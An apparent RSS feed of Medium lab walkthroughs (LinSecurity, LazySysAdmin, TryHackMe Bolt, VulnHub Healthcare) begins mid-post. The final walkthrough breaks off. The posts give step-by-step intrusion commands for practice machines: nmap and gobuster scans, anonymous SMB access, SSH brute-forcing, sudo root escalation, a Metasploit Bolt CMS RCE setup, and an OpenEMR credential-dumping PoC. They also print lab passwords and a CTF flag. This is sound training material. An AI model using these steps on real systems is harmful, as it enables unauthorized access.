these credentials, I successfully logged into the SMB service.</p><h3>Step 9. SMB Share Enumeration:</h3><p>After logging into SMB, I used the ls command to list the available files and directories. I found a hidden .private directory.</p><p>Inside it, I found an <strong><em>opensesame</em></strong> directory containing a <strong>config</strong> file. I downloaded the file to my machine using:</p><p><strong><em># get config</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g-LqdsnaSRFBGqHIbf5Mgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtkRtH6yEUid-hUZsYk08w.png" /></figure><p>I saved the file for further analysis.</p><h3>Step 10. Port Knocking:</h3><p>I opened the config file and found sequence numbers for <strong>HTTP and SSH</strong>. These numbers were used for <strong>port knocking</strong>, which is a method of hiding services until the correct sequence is provided.</p><p>I used the knock command with the target IP and the sequence numbers. After sending the correct sequence, the previously filtered <strong>HTTP and SSH ports became accessible</strong>.</p><p>After successful port knocking, I scanned the target again with Nmap. This time, <strong>ports 80 (HTTP) and 22 (SSH)</strong> were accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ1cAXvfSPYHsyvpOUODcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6PvFP6bJfPBEUjy--9daA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2pqvDMj4TndGi_a59FaroQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EW6F30vlJLADgMJ4TTkrNw.png" /></figure><p>This allowed me to continue with further enumeration of the target.</p><h3>Step 11. Web Enumeration:</h3><p>After accessing port 80, I checked the robots.txt file again:</p><pre>http://192.168.1.10/robots.txt</pre><p>I found two interesting paths:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqJtuU6N4Cf2EUTuno6EVg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a75892153ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LinSecurity Walkthrough: From NFS Enumeration to Root Access]]></title>
            <link>https://medium.com/@jagadish.ray.tech/linsecurity-walkthrough-from-nfs-enumeration-to-root-access-c6fe9c431000?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6fe9c431000</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[linsecurity-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[lin-security-lab]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 16:31:51 GMT</pubDate>
            <atom:updated>2026-09-13T16:33:19.829Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbtt5fHK7-14T0KVvpORBg.jpeg" /></figure><p><strong>Step 1:Lab Setup</strong></p><p>I started the LinSecurity lab and launched the target machine. After the machine was running, I used netdiscover to identify the target IP address on the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-rtNL3E6K0szQkE-pDNAQ.png" /></figure><h3>Step 2: Network Discovery</h3><p>I used the netdiscover tool to scan the local network and identify active devices. From the results, I identified the IP address assigned to the LinSecurity target machine. This IP address was used for further enumeration and testing.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJl-wqdwPIZTbQMjQ7nUvw.png" /></figure><p><strong>Step 3: Nmap Scan</strong></p><p>I used Nmap to perform a detailed scan of the target machine. The -p- option scans all TCP ports, while -A enables detailed enumeration such as service versions, OS information, and default scripts which we called aggressive scan.</p><p><strong><em># nmap -A -p- 192.168.1.14</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j17FEfWGf8TQdN-I2S5bDw.png" /></figure><p>The scan revealed several open ports and services. One of the important findings was <strong>NFS (Network File System)</strong> running on the target. Since NFS can expose shared directories, I decided to enumerate the NFS service further to check for accessible files and directories.</p><h3>Step 4: NFS Enumeration</h3><p>I used showmount to check the NFS shares available on the target machine.</p><pre># showmount -e 192.168.1.14</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*84cCEF9atRdW9E_frWtmcg.png" /></figure><p>The scan showed that the /home/peter directory was shared and accessible through NFS. I then mounted this share locally to examine its contents and look for useful information.</p><p>I checked the available NFS shares using showmount and found /home/peter shared on the target. I mounted the share locally and inspected its contents. However, I did not find any immediately useful files, credentials, or other interesting information, so I continued with further enumeration of the target.</p><h3>Step 5: Credential Discovery</h3><p>While reviewing the VulHub description for the LinSecurity lab, I found that an employee’s username and password were provided. I used these credentials as a clue for further testing and to check whether they could provide access to any of the services running on the target.</p><p><strong><em>Username: bob</em></strong></p><p><strong><em>Password: secret</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEelZ2d-HMbaWus4fG9Rmw.png" /></figure><h3>Step 6: SSH Login</h3><p>Using the credentials found in the VulHub description, I attempted to log in to the target through SSH.</p><pre># ssh bob@192.168.1.14</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8k11B06nZ-__AlY0bbQRSQ.png" /></figure><p>The login was successful, giving me access to the target system as the employee user. I then began enumerating the system and checking the user’s permissions for possible privilege-escalation opportunities.</p><h3>Step 7: Initial Enumeration</h3><p>After logging in through SSH, I used ls -la to inspect the user&#39;s home directory and hidden files.</p><p><strong><em># </em></strong><strong><em>ls -la</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRkc7HL4I-XGceHJ2jd9tw.png" /></figure><p>I did not find anything particularly interesting or useful in the directory, so I continued with further enumeration of the system and user permissions.</p><h3>Step 8: User Directory Enumeration</h3><p>I moved to the parent directory using cd .. and listed its contents. I found multiple user directories on the system. This indicated that other user accounts existed, so I continued checking the directories and permissions for useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKQA2gJdhtNNThSRQ6FpPg.png" /></figure><h3>Step 9: Discovery of Hidden File</h3><p>I navigated to the <strong>susen</strong> user&#39;s directory and found a hidden file <strong>named </strong><strong>.secret</strong>. Since hidden files may contain sensitive information, I checked the file to determine whether it contained anything useful for further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rIMt23Cod48GCFwg6yGjUg.png" /></figure><p>I then used the cat command to read the contents of the <strong>.secret file</strong>:</p><p><strong><em># cat .secret</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z8-nR31KcXhHLTeJPS0PsQ.png" /></figure><p>The file displayed a message.</p><h3>Step 10: Bob User Permission Enumeration</h3><p>I checked the permissions available to the bob user and found that the user had multiple permissions. During the enumeration, I noticed that <strong>/bin/bash</strong> was one of the allowed commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqOrvqHRbtCtP8AzA52eIQ.png" /></figure><p>This was an interesting finding because having permission to execute <strong>/bin/bash</strong> could potentially be useful for gaining higher-level access, depending on the configured privileges.</p><h3>Step 11: Privilege Escalation to Root</h3><p>Since bob had permission to execute <strong>/bin/bash</strong> with sudo, I used the following command:</p><p><strong><em># </em></strong><strong><em>sudo /bin/bash</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qkDpg6I9n4dqlka2dFIbw.png" /></figure><p>The command successfully started a root shell. I then confirmed that I had <strong>root-level access</strong> to the system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6fe9c431000" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LazySysAdmin Walkthrough: Finding Credentials and Escalating to Root]]></title>
            <link>https://medium.com/@jagadish.ray.tech/lazysysadmin-walkthrough-finding-credentials-and-escalating-to-root-d6eff0d2c368?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6eff0d2c368</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[network-penetration-test]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Wed, 09 Sep 2026 16:11:34 GMT</pubDate>
            <atom:updated>2026-09-09T16:11:34.957Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iop4b3kE7Uogwvpnva4mw.png" /></figure><h3><strong>1. Lab Setup:</strong></h3><p>The LazySysAdmin lab machine was imported into Oracle VirtualBox using File → Import Appliance. After the import was completed successfully, the virtual machine was started for further security testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*XmBDy0cv2g0855jqj5GVjQ.png" /></figure><h3>2. Network Discovery:</h3><p>After starting the LazySysAdmin machine, I used Netdiscover to find the IP address of the target machine. This helped me identify the target on the network.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0PAePgMGQTXGwgr7Ypvc1w.png" /></figure><p>Using Netdiscover, I found the target IP address as <strong>192.168.1.8</strong>. I used this IP address for the next steps of the lab.</p><h3>3. Port Scanning and Service Enumeration:</h3><p>After identifying the target IP address <strong>192.168.1.8</strong>, I performed a full port scan using Nmap to find open ports and the services running on them.</p><p><strong><em># nmap -sV -p- 192.168.1.8</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X5ZWcyNvdGO-X-HwrnL4FA.png" /></figure><p>The scan found the following open ports:</p><p><strong><em>Port 22</em></strong><em> — SSH: Used for secure remote login.</em></p><p><strong><em>Port 80</em></strong><em> — HTTP: Used to host the target website.</em></p><p><strong><em>Port 139</em></strong><em> — NetBIOS: Used for file and printer sharing.</em></p><p><strong><em>Port 445</em></strong><em> — SMB: Used for Windows file and resource sharing.</em></p><p><strong><em>Port 3306 </em></strong><em>— MySQL: Used for the MySQL database service.</em></p><p><strong><em>Port 6667</em></strong><em> — IRC: Used for Internet Relay Chat communication.</em></p><p>These results provided useful information for the next stage of enumeration.</p><h3>4. Directory Enumeration:</h3><p>After the Nmap scan, I used Gobuster to search for hidden directories and files on the web server. This helped me find pages or directories that were not directly visible on the website.</p><p><strong><em># gobuster dir -u </em></strong><a href="http://192.168.1.8/"><strong><em>http://192.168.1.8/</em></strong></a><strong><em> -w /usr/share/wordlists/dirb/common.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjmMDZ5krruL2IZL2ZrTeQ.png" /></figure><p>During the scan, I found an interesting directory named wordpress. This indicated that the target machine was hosting a WordPress website. I used this directory for further enumeration.</p><h3>4. Web Application Enumeration:</h3><p>During the Nmap scan, I found <strong>port 80</strong> open, which indicated that a web server was running on the target machine. I opened the website in a browser and inspected the webpage. While checking the page, I found a <strong>username: togie</strong>, which could be useful for further enumeration and testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmdJQemZNXAhPCfgPf3YHw.png" /></figure><h3>5. SMB Share Enumeration:</h3><p>During the Nmap scan, I found <strong>ports 139 and 445</strong> open, which indicated that SMB services were running on the target machine.</p><p>I used the following Nmap script to enumerate the available SMB shares:</p><p><strong><em># nmap — script smb-enum-shares -p 139,445 192.168.1.8</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0lE7OnDpb-yT81-6sMbl0Q.png" /></figure><p>The scan revealed an interesting shared directory:</p><p><strong><em>\\192.168.1.8\share$</em></strong></p><h3>6. SMB Share Access:</h3><p>After finding the share$ SMB share, I tried to access it using smbclient. I connected to the share with the following command:</p><p><strong><em># smbclient \\\\192.168.1.8\\share$</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*aiekRI1PhwK29nImczDHaQ.png" /></figure><p>When prompted for a password, I tried anonymous access without providing a valid user password. The connection was successful, and the smb: \&gt; prompt appeared.</p><p>This showed that the share$ directory allowed anonymous access, which could potentially expose files or other useful information on the target system. I then proceeded to enumerate the contents of the share.</p><h3>7. Config File Discovery:</h3><p>After gaining access to the SMB share, I navigated through the directories using the cd command. While exploring the WordPress directory, I found an important file named wp-config.php.</p><p><strong><em># cd wordpress</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*n8eYs73smXJ_PWOBAXUl7w.png" /></figure><p>The <strong><em>wp-</em></strong><strong><em>config.php</em></strong> file was identified successfully. This file was important because it may contain sensitive WordPress configuration and database information.</p><h3>8. Configuration File Retrieval:</h3><p>After finding the wp-config.php file inside the WordPress directory, I used the get command to download the file from the SMB share to my machine.</p><p><strong><em># get wp-config.php</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lj8c8hb7mRsZOx5TAuHY8Q.png" /></figure><p>The file was successfully downloaded for further analysis. I then examined the file to identify any sensitive information that could help in the next stage of the lab.</p><h3>9. Database Credential Discovery:</h3><p>After downloading the wp-config.php file to my local system, I used the cat command to view its contents.</p><p><strong><em># cat wp-config.php</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNjoziaeO5QZ6onApEBrAA.png" /></figure><p>While reviewing the configuration file, I found sensitive database information, including:</p><p><strong><em>Database username : Admin</em></strong></p><p><strong><em>Database Password: TogieMYSQL12345^^</em></strong></p><p>These credentials were useful because they could potentially allow access to the MySQL database running on the target machine.</p><p>I recorded the discovered credentials and used them for further database enumeration.</p><h3>10. SSH Access:</h3><p>During the enumeration, I identified the username togie for SSH access. I then performed a password brute-force attack against the SSH service in the lab environment. The <strong><em>password : </em></strong><strong><em>12345</em></strong> was successfully identified.</p><p>Using these credentials, I was able to log in to the target machine through SSH and continue the assessment.</p><p><strong><em># ssh togie@192.168.1.8</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_QbdcuzlBTDdWhGyfscHA.png" /></figure><p>The login was successful, and I gained access to the target system as the togie user. This confirmed that the discovered credentials were valid and allowed me to continue with further enumeration and privilege escalation.</p><h3>11. Sudo Permission Check:</h3><p>After successfully logging in as the togie user, I checked the user&#39;s sudo permissions using the following command:</p><p><strong><em># sudo -l</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ds5lcRKXUqKGNJvyM63SWA.png" /></figure><p>The output showed that the togie user had full sudo privileges on the target machine. This was an important finding because it meant the user could execute commands with root-level privileges, making privilege escalation straightforward.</p><h3>12. Root Access:</h3><p>After confirming that the togie user had full sudo privileges, I used the following command to switch to the root user:</p><p><strong><em># sudo su</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*Bp-82xHcSrk2Og2HGWM6qQ.png" /></figure><p>The command successfully provided me with root-level access. I then navigated to the /root directory using:</p><p><strong><em># cd /root</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*KnCE20cW1fWj7tHbuixp0Q.png" /></figure><p>This confirmed that I had successfully obtained root access to the target machine.</p><h3>13. Flag Discovery:</h3><p>After gaining root access, I navigated to the /root directory and used the ls -la command to view all files, including hidden files.</p><p><strong><em># ls -la</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*d6YWpS9P4jSdpPFdP8OfqQ.png" /></figure><p>I found the proof.txt file in the root directory. I then used the cat command to read its contents.</p><p><strong><em># cat proof.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*PDvSGtoM-bpOHB1OskEmaQ.png" /></figure><p>The flag was displayed successfully, confirming that I had obtained root access and completed the main objective of the LazySysAdmin lab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6eff0d2c368" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bolt — TryHackMe Walkthrough: Web Exploitation & Privilege Escalation]]></title>
            <link>https://medium.com/@jagadish.ray.tech/bolt-tryhackme-walkthrough-web-exploitation-privilege-escalation-11fa61a400ee?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/11fa61a400ee</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[easy-tryhackme-lab]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 09:35:31 GMT</pubDate>
            <atom:updated>2026-09-01T09:35:31.360Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uULHTWLIpJ3mhfTFvCpCQ.png" /></figure><p><strong>1. VPN Connection:</strong></p><p>I connected my local Kali Linux machine to the TryHackMe network using the provided OpenVPN configuration file.</p><p>The VPN connection was established using the OpenVPN client, allowing communication with the target machine in the TryHackMe lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*dgkZP4dQFXYNeVL2Ea1azQ.png" /></figure><h3>2. Nmap Scan:</h3><p>After connecting to the TryHackMe VPN, I performed a full TCP port scan with service and version detection against the target. The scan showed that the host was reachable and had three open ports.</p><p><em># nmap -sC -sV -p- 10.49.173.116</em></p><p>22/tcp — SSH: OpenSSH 7.6p1</p><p>80/tcp — HTTP: Apache 2.4.29 on Ubuntu</p><p>8000/tcp — HTTP: Bolt CMS running with PHP 7.2.32</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*4POXhODdy3JyWUaU33QTXw.png" /></figure><p>The Bolt CMS running on port <strong>8000</strong> was identified as the main target for further web enumeration and vulnerability analysis.</p><p><em>Question 1: What port number has a web server with a CMS running?</em></p><p><em>Answer: 8000</em></p><h3>3. Web Application Access:</h3><p>I accessed the web application by navigating to <strong><em>10.49.173.116:8000</em></strong> in the browser. The Bolt CMS webpage loaded successfully, confirming that the service identified on port 8000 was hosting the target application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Ec1BshWGWrrTwkxo_Hp42g.png" /></figure><p>The Bolt web application was selected for further enumeration and vulnerability analysis.</p><h3>4. Credential Discovery:</h3><p>After thoroughly reviewing the Bolt CMS webpage, I found a username and password exposed within the application. The discovered credentials appeared to belong to a CMS user and could be used for authenticated access.</p><p>I recorded these credentials for the next stage of enumeration and exploitation.</p><p><em>Question 2: What is the username we can find in the CMS?<br> Answer: </em><em>bolt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*FsZZ4F3gcwN0YUgtlTlhIg.png" /></figure><p><em>Question 3: What is the password we can find for the username?<br> Answer: </em><em>boltadmin123</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*d_Nh90uj6XdC8K7fdBj9mQ.png" /></figure><h3>5. CMS Login:</h3><p>After discovering the CMS credentials, I navigated to the /bolt/login page of the target application. I entered the discovered username and password, which allowed me to access the Bolt CMS login interface successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*4dqU3ZQLK9DUzPXtbEpt7w.png" /></figure><p>This confirmed that the credentials were valid and provided authenticated access for further testing.</p><h3>6. Authenticated Access:</h3><p>I used the previously discovered credentials on the Bolt CMS login page and successfully authenticated to the application. This provided access to the CMS dashboard and allowed me to continue with further enumeration and exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*umfY6s6Nsep9q8Y3HJnj_w.png" /></figure><h3>7. CMS Version Identification</h3><p>After successfully logging into the Bolt CMS dashboard, I inspected the application information and identified the installed <strong>Bolt CMS version</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*6iC6ohgixBFZ4S3STdWAgA.png" /></figure><p><em>Question 4:</em><strong><em> </em></strong><em>What version of the CMS is installed on the server?<br> Answer: </em><em>Bolt 3.7.1</em></p><h3>8. Vulnerability Identification</h3><p>After identifying the installed Bolt CMS version, I researched the version using Rapid7 and found that it was affected by a known vulnerability that could allow <strong>authenticated remote code execution (RCE)</strong>.</p><p>This vulnerability was selected for further exploitation in the lab.</p><h3>9. Exploit Identification:</h3><p>I searched for the identified Bolt CMS vulnerability on Exploit Database and found the corresponding authenticated RCE exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*YeAuJg14hNcv-j_rdRDnMw.png" /></figure><p><em>Question 5: There’s an exploit for a previous version of this CMS that allows authenticated RCE. What’s its EDB-ID?</em></p><p><em>Answer: </em><em>48296</em></p><h3>10. Metasploit:</h3><p>After identifying the available exploit, I opened the Metasploit Framework by running command:</p><p><em># msfconsole -q</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*V4uYDe-05v-x2DSLIrtDKg.png" /></figure><p>I then searched for the corresponding Bolt CMS exploit module to continue the exploitation process.</p><h3>11. Metasploit Exploit Identification:</h3><p>I searched for Bolt CMS exploits in Metasploit using the search bolt command. The results showed an authenticated Remote Code Execution module for <strong>Bolt CMS 3.7.0</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*XG9DWa1RvUTaDv6vIsLw-w.png" /></figure><p>The relevant module was:</p><p><em>exploit/unix/webapp/bolt_authenticated_rce</em></p><p><em>Question 6: What is the full path for this exploit?</em></p><p><em>Answer: </em><em>exploit/unix/webapp/bolt_authenticated_rce</em></p><h3>12. Exploit Configuration:</h3><p>I selected the authenticated RCE module using command:</p><p><em># use 0</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*qwNq-f5tSD3ooC4a2gc4dA.png" /></figure><p>Then to checked its available configuration options I use the command:</p><p><em># show options</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*GD5hzlXgQhplKMSmpjNV6w.png" /></figure><p>The command displayed the parameters required to configure the exploit before execution.</p><p>The required settings included the target address, CMS credentials, and listener configuration.</p><h3>13. Exploit Configuration:</h3><p>I configured the Metasploit exploit with the required target, listener, and authentication details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*I0j-9gFtSG4-VeraNdZ6aA.png" /></figure><pre># set rhosts 10.49.173.116<br># set lhost   192.168.144.41<br># set username bolt<br># set password boltadmin123</pre><h3>14. Exploit Execution:</h3><p>After configuring the required options, I executed the Metasploit exploit against the target. The exploit was successful and provided access to the target machine through a Meterpreter session.</p><p><em># run</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*T4EsU-BpBLwaEcuN8JRaAQ.png" /></figure><h3>15. Current Directory:</h3><p>After gaining access to the target, I used the <strong><em>pwd</em></strong> command to identify my current working directory. The session was located at:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*k9SZTy22knN2lqPfkHhnPg.png" /></figure><p>This confirmed that I had access to the Bolt user’s file directory.</p><h3>16. Flag Discovery:</h3><p>After gaining access to the target machine, I navigated to the /home directory and located the flag.txt file. I then used the cat command to read the contents of the file.</p><pre># cat flag.txt</pre><p>The flag was displayed successfully, confirming that the target had been successfully compromised and the main objective of the Bolt lab was completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*L3dXNEogwsN_eBE_BL3JZw.png" /></figure><p><em>Question 7: Look for </em><em>flag.txt inside the machine.<br> Answer: THM{wh0_d035nt_l0ve5_b0l7_r1gh7?}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11fa61a400ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Healthcare CTF: A Hands-On VulnHub Lab Walkthrough]]></title>
            <link>https://medium.com/@jagadish.ray.tech/healthcare-ctf-a-hands-on-vulnhub-lab-walkthrough-746f9320465c?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/746f9320465c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 06:05:17 GMT</pubDate>
            <atom:updated>2026-08-30T06:05:17.568Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6hwe_Bpqw-KApEKB0XBsGw.png" /></figure><h3>1. First I have to use Network Discovery.</h3><p>The objective of this phase is to identify active hosts available within the network.</p><p># <strong><em>netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*FrG8VIz2Dy4riGIbw-aswQ.png" /></figure><p>Result:</p><p><strong><em>192.168.1.16 08:00:27:22:36:18 1 60 PCS Systemtechnik GmbH</em></strong></p><p><strong>2.</strong> <strong>After that use Nmap for port scanning.</strong></p><p># <strong><em>nmap -A 192.168.1.16</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*uffTa322sjjEvrSObp9PoQ.png" /></figure><p><strong>Result:</strong></p><p>The scan identifies two open ports on the target:</p><p><strong>Port 21 (FTP): </strong>The FTP service is running on the target.</p><p><strong>Port 80 (HTTP): </strong>The HTTP service is running on the target, indicating that a web application is hosted on the target.</p><h3>3. Source Code Analysis:</h3><p>The HTML source code of the web page is inspected using the View Source option. No sensitive information, hidden comments, credentials, or other useful information is identified.</p><p>Robots.txt Analysis:</p><p>The /robots.txt file is accessed to identify any paths or directories that the web application does not want search engines to index. No interesting or sensitive paths are identified.</p><h3>4. Now I have to do the Directory Enumeration.</h3><p><strong><em># gobuster dir -u </em></strong><a href="http://192.168.1.16/"><strong><em>http://192.168.1.16/</em></strong></a><strong><em> -w /home/devil/Downloads/directory-list-lowercase-2.3-big.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*OlEsxyTZOfYctmTfJ_mQOg.png" /></figure><p>From Directory Enumeration I find interesting path <strong>openemr.</strong></p><h3>4. Vulnerability Identification</h3><p>During the enumeration, the target is identified as running <strong>OpenEMR version 4.1.0</strong>. I search for known vulnerabilities related to this version and find a corresponding exploit in <strong>Exploit Database</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWfA9Z1siV43WBOvt8ohig.png" /></figure><p>I download the Python proof-of-concept and review the required parameters before testing it against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*JB33BYx71Cnv4OROQvGD6w.png" /></figure><h3>5. Credential Disclosure</h3><p>I execute the Python exploit against the target system. The exploit successfully retrieves user credentials from the OpenEMR application.</p><p><strong><em># python3 49742.py</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*Voh8rsyu5hPBReXIDP-0fg.png" /></figure><p>The 